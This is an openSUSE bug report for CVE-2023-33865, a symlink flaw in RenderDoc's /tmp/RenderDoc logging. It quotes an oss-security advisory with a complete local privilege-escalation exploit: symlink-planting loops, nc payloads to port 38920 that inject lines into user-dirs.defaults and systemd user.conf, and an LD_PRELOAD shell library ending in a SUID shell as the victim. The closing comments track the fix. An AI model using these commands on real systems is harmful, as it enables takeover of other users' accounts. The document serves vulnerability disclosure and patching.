Bug 1212089 (CVE-2023-33865) - VUL-0: CVE-2023-33865: renderdoc: symlink vulnerability in /tmp/RenderDoc
Summary: VUL-0: CVE-2023-33865: renderdoc: symlink vulnerability in /tmp/RenderDoc
Status: NEW
Alias: CVE-2023-33865
Product: openSUSE Distribution
Classification: openSUSE
Component: Security (show other bugs)
Version: Leap 15.4
Hardware: Other Other
: P3 - Medium : Normal (vote)
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/368572/
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2023-06-07 07:53 UTC by Gabriele Sonnu
Modified: 2023-09-25 13:06 UTC (History)
2 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Gabriele Sonnu 2023-06-07 07:53:11 UTC
From oss-security:

- CVE-2023-33865, a symlink vulnerability that is exploitable by any
  unprivileged local attacker to obtain the privileges of the user who
  runs RenderDoc. The exact details of this symlink vulnerability made
  it quite interesting and challenging to exploit.

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

As soon as librenderdoc.so is LD_PRELOADed into the application to be
debugged, its library_loaded() function:

- creates the directory /tmp/RenderDoc, or reuses it if it already
  exists, even if it does not belong to the user who runs RenderDoc
  (Alice, in this advisory);

- opens (and possibly creates) a log file of the form
  /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it
  in append mode:

------------------------------------------------------------------------
507       open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
------------------------------------------------------------------------

Consequently, a local attacker can create /tmp/RenderDoc before Alice
runs RenderDoc, and can populate this directory with numerous symlinks
(of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log) that
point to an arbitrary file in the filesystem; when Alice runs RenderDoc,
this file will be created (if it does not exist already) and written to,
with Alice's privileges.

The attacker can write arbitrary strings into this file (by sending
these strings to RenderDoc on TCP port 38920), but unfortunately for the
attacker, RenderDoc prepends each of these strings with a header that is
not controlled by the attacker (and if the attacker sends a string that
contains \n characters, then RenderDoc splits this string into multiple
lines and prepends each line with the uncontrolled header), and this
uncontrolled header makes it impossible for the attacker to achieve
privilege escalation via Alice's usual dotfiles (.profile, .bashrc,
.ssh/authorized_keys, etc).

In the following example, the attacker (the user "nobody") writes
arbitrary shell commands into Alice's .bashrc file, but the uncontrolled
header that is prepended by RenderDoc causes a syntax error and prevents
Alice's shell from executing the attacker's commands:

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.bashrc "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s='$(id)'$';id;\nid\n#'
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000000e

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x0e\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------
alice$ bash
bash: /home/alice/.bashrc: line 114: syntax error near unexpected token `('
bash: /home/alice/.bashrc: line 114: `RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application'

alice$ cat /home/alice/.bashrc
...
RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application
RDOC 003906: [05:50:25]         settings.cpp( 460) - Log     - Loading config from /home/alice/.renderdoc/renderdoc.conf
RDOC 003906: [05:50:25]   posix_libentry.cpp(  73) - Log     - Loading into /usr/bin/sleep
RDOC 003906: [05:50:25]         gl_hooks.cpp( 280) - Log     - Registering OpenGL hooks
RDOC 003906: [05:50:25]        glx_hooks.cpp( 811) - Log     - Registering GLX hooks
RDOC 003906: [05:50:25]        egl_hooks.cpp(1073) - Log     - Registering EGL hooks
RDOC 003906: [05:50:25]         vk_layer.cpp(  99) - Log     - Registering Vulkan hooks
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - Invalid/Unsupported handshake '$(id);id;
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - id
RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - #' / 1
------------------------------------------------------------------------

------------------------------------------------------------------------
Exploitation
------------------------------------------------------------------------

We spent a long time on this uncontrolled-header problem, and eventually
found the following two-step solution:

1/ We transform RenderDoc's symlink vulnerability into an arbitrary
directory creation, by writing to the file .config/user-dirs.defaults in
Alice's home directory: we write SYSTEMD=.config/systemd into this file,
and the next time Alice logs in, xdg-user-dirs-update will automatically
create the directory .config/systemd in Alice's home directory.

But how did we solve the uncontrolled-header problem?
xdg-user-dirs-update calls fgets() to read lines of at most 512 bytes
from .config/user-dirs.defaults, so if we write a string longer than 512
bytes into this file, then one fgets() will return a line that ends in
the middle of our long string, and the next fgets() will return a line
that starts in the middle of our long string: i.e., a line that starts
with our own data, not with RenderDoc's uncontrolled header.

2/ We transform RenderDoc's symlink vulnerability into an arbitrary code
execution, by writing to the file .config/systemd/user.conf in Alice's
home directory (we already created the directory .config/systemd in 1/):
we write DefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so into this file,
and the next time Alice logs in, systemd will execute our shared library
/var/tmp/shell.so with Alice's privileges.

But how did we solve the uncontrolled-header problem this time? systemd
calls read_line_full() to read lines from .config/systemd/user.conf, and
this function "Considers EOF, \n, \r and \0 end of line delimiters", so
we simply use \r as a line delimiter to avoid the uncontrolled-header
problem (indeed, RenderDoc only adds an uncontrolled header after \n,
not after \r).

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.config/user-dirs.defaults "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')"
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000021b

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x1b\x02\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------

The next time Alice logs in, the directory .config/systemd will be
created in Alice's home directory; then:

------------------------------------------------------------------------
nobody$ mkdir -m 0777 /tmp/RenderDoc
nobody$ cd /tmp/RenderDoc

nobody$ for ((i=0; i<600; i++)); do
ln -sf /home/alice/.config/systemd/user.conf "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";
done
------------------------------------------------------------------------
alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#'
nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"
0000003d

nobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x3d\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920
(UNKNOWN) [127.0.0.1] 38920 (?) open
------------------------------------------------------------------------

The next time Alice logs in, our shared library /var/tmp/shell.so will
be executed with Alice's privileges and will create a SUID shell in
/var/tmp; then:

------------------------------------------------------------------------
nobody$ /var/tmp/shell -p
$ id
uid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup)
                                     ^^^^^^^^^^^^^^^^
------------------------------------------------------------------------
Comment 2 Gabriele Sonnu 2023-06-07 07:57:37 UTC
Tracking as affected:

- openSUSE:Backports:SLE-15-SP5/renderdoc     1.24
- openSUSE:Factory/renderdoc                  1.26

Please update it to a non vulnerable version.
Comment 3 Patrik Jakobsson 2023-06-08 07:06:00 UTC
renderdoc v1.27 is now submitted to:
  - openSUSE:Backports:SLE-15-SP5
  - openSUSE:Factory
Comment 4 Patrik Jakobsson 2023-08-30 08:31:24 UTC
The update to v1.27 got declined due to licensing issues. Instead I've submitted an update to v1.24 which contains the required security fixes.

See: https://build.opensuse.org/request/show/1108054
Comment 5 Marcus Meissner 2023-09-25 13:06:04 UTC
openSUSE-SU-2023:0253-1: An update that fixes three vulnerabilities is now available.

Category: security (important)
Bug References: 1212086,1212088,1212089
CVE References: CVE-2023-33863,CVE-2023-33864,CVE-2023-33865
JIRA References: 
Sources used:
openSUSE Backports SLE-15-SP5 (src):    renderdoc-1.24-bp155.2.3.1